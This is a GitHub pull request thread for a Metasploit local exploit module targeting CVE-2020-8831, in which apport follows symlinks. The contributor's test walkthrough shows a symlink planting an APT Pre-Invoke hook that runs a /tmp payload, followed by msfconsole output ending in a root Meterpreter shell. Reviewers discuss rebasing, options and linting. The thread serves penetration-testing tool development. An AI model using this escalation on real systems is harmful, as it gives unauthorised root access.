Skip to content

Conversation

@gardnerapp
Copy link
Contributor

This pull request is a draft for CVE-2020-8831, I originally came across this vulnerability while reading From Day Zero to Zero Day, which I highly recommend. The long story short is that certain versions of apport will follow symbolic links when writing crash dumps. This file will have a mask of 777 and be owned by root. In this module I used the command ln -s /cron.d /var/lock/apport so that a /etc/cron.d/lock crontab file would be created. This crontab should execute a payload every minute which was located in the /tmp directory.

After scratching my head for several hours and combing through the log files I found that the crontab would not execute because it's file permissions were too excessive. We need to find another place for the symlink hijacking to occur. I have a few places in mind namely /etc/init.d/ or ~/.bashrc which would trigger the payload upon startup. I am submitting this because I am unsure of which route to go or if there are other places where the symlink hijacking should occur. Thank you !

@gardnerapp gardnerapp marked this pull request as draft April 13, 2025 18:54
@gardnerapp
Copy link
Contributor Author

I've accidentally committed pushes from another module. My apologizes, I am unsure of the proper way to remove these.

@bcoles bcoles added the module label Apr 14, 2025
@bwatters-r7 bwatters-r7 self-assigned this Apr 15, 2025
@bwatters-r7
Copy link
Contributor

I've accidentally committed pushes from another module. My apologizes, I am unsure of the proper way to remove these.

No problem; git is really awesome, but not always super intuitive.

It looks like the unwanted commits are all related to your previous game overlay module.
I can think of 3 ways to fix it (in order of what I would try first)

  1. Rebase and only bring in the changes for the new module
  2. Open a new branch current with master, check the file you want out to it, commit the changes, then force-push the new branch with just the new module to your existing branch
  3. Open a new branch that's current with master, then get merge --cherry-pick the changes you want.

Last, if you want, let me know and I am pretty sure I can fix it for you, but you might lose some commits. The only file you need here is modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb, right?

@gardnerapp
Copy link
Contributor Author

Yes, I only want the files relevant to this module pushed. I just added the rebase let me know if it is sufficient.

@bwatters-r7
Copy link
Contributor

Yes, I only want the files relevant to this module pushed. I just added the rebase let me know if it is sufficient.

Looks good! Let us know when you'd like us to review it.

)
)
register_options [
OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For local exploit modules, this is usually registered as an advanced option:

    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]

@gardnerapp
Copy link
Contributor Author

OK this is all set to go I opted to use apt hooks for the privilege escalation. Thank you to everyone for the contributes and suggestions to this module. Here is a quick run down.

Before you test run these on the exploitable system:

sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb

    # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport

Now lets configure the exploit. I am using a bind shell because the machine is in the ☁️.

msf6 payload(linux/x64/meterpreter/bind_tcp) > search apport
> use 2
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > set lport 7777
lport => 7777
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > set session 3
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Creating symlink...
[*] Triggering crash...
[+] Successfully created /etc/apt/apt.conf.d/lock
[*] Uploading payload..
[*] Writing '/tmp/gvcXmVizmg' (198 bytes) ...
[*] Started bind TCP handler against :7777
[*] Exploit completed, but no session was created.

Our exploit will now run on the next apt-get update, apt-get upgrade or apt-get install. Let's hop over to the exploitable machine.

$ ls -la /var/lock/apport
lrwxrwxrwx 1 ubuntu ubuntu 20 Oct 14 19:46 /var/lock/apport -> /etc/apt/apt.conf.d/
~$ cat /etc/apt/apt.conf.d/lock
APT::Update::Pre-Invoke {"/tmp/gvcXmVizmg"};
APT::Upgrade::Pre-Invoke {"/tmp/gvcXmVizmg"};
APT::Install::Pre-Invoke {"/tmp/gvcXmVizmg"};
# trigger the payload
$ sudo apt-get update
# in another terminal we can confirm 7777 is open
$ ss -ano | grep 7777

We'll hop back to msf and you'll find yourself with a root shell.

msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > use exploit/multi/handler
[*] Using configured payload linux/x86/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 18.212.162.161
rhost => 18.212.162.161
msf6 exploit(multi/handler) > 
rmsf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 18.212.162.161:5555
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
runmsf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 18.212.162.161:7777
[*] Sending stage (1017704 bytes) to 18.212.162.161
[-] Meterpreter session 4 is not valid and will be closed
[*] 18.212.162.161 - Meterpreter session 4 closed.
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp 
payload => linux/x64/meterpreter/bind_tcp
rmsf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 18.212.162.161:7777
[*] Sending stage (3045380 bytes) to 18.212.162.161
[*] Meterpreter session 5 opened (192.168.0.239:57606 -> 18.212.162.161:7777) at 2025-10-14 15:49:00 -0400
meterpreter > shell
Process 5791 created.
Channel 1 created.
whoami
root

Thank you again !

@gardnerapp gardnerapp requested a review from bcoles October 16, 2025 20:45
@bwatters-r7
Copy link
Contributor

@gardnerapp sweet! Is this ready to move out of draft?

@gardnerapp
Copy link
Contributor Author

@gardnerapp sweet! Is this ready to move out of draft?

yes

@bwatters-r7 bwatters-r7 marked this pull request as ready for review October 27, 2025 18:04
@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@bwatters-r7 bwatters-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Oct 27, 2025
@github-actions
Copy link

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@bwatters-r7
Copy link
Contributor

@gardnerapp what version of ubuntu are you using and where are you getting the apport deb package?
The one above is not available at http://old-releases.ubuntu.com/ubuntu/pool/main/a/apport/

@bwatters-r7
Copy link
Contributor

what version of ubuntu are you using

Wooops! You said it in the description- Xenial Xerus 16.04.7

Still curious where you got the deb package, though.

@bwatters-r7
Copy link
Contributor

@gardnerapp any update on this?

@gardnerapp
Copy link
Contributor Author

@gardnerapp any update on this?

I've been on vacation, I'll take a look tomorrow and make some changes. My apoloigies

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Nov 18, 2025

I've been on vacation, I'll take a look tomorrow and make some changes. My apoloigies

No problem at all. Enjoy your time off!

Copy link
Contributor Author

@gardnerapp gardnerapp left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Finished review

@gardnerapp
Copy link
Contributor Author

I accidentally committed a file for another exploit please ignore.

@bwatters-r7
Copy link
Contributor

Pertinent failing test log entries:

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb - [ERROR] Incorrect disclosure date format
== modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb ==
W: 19: 19: [Correctable] Lint/DetectMetadataTrailingLeadingWhitespace: Metadata key or value has leading or trailing whitespace.

1 file inspected, 1 offense detected, 1 offense autocorrectable
modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb - [ERROR] Rubocop failed. Please run rubocop -a modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb and verify all issues are resolved

@gardnerapp
Copy link
Contributor Author

Pertinent failing test log entries:

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb - [ERROR] Incorrect disclosure date format
== modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb ==
W: 19: 19: [Correctable] Lint/DetectMetadataTrailingLeadingWhitespace: Metadata key or value has leading or trailing whitespace.

1 file inspected, 1 offense detected, 1 offense autocorrectable
modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb - [ERROR] Rubocop failed. Please run rubocop -a modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb and verify all issues are resolved

Which log files are you checking? When I run rubocop this is the result:

 ~/metasploit-framework cve-2020-8831 $ rubocop -A modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb
Inspecting 1 file
.

1 file inspected, no offenses detected

@gardnerapp
Copy link
Contributor Author

gardnerapp commented Nov 26, 2025

I've checked the commit history of the Apport package and it looks like the vulnerable function check_lock exists in apport/data/apport. as far back as 16 years ago. The check method currently returns CheckCode::Appears if the installed version is equal to 2.20.11 . As I have verified that earlier versions of Apport are vulnerable to this I would like to have the check method return CheckCode::Appears if the installed version is <= 2.20.11.

Additionally, when a normal user runs apt-get update or any other command which triggers the apt hook they'll notice that the command hangs. I've added notes to the module to account for this. Lastly, I've begun working on the documentation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

module needs-docs needs-linting The module needs additional work to pass our automated linting rules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants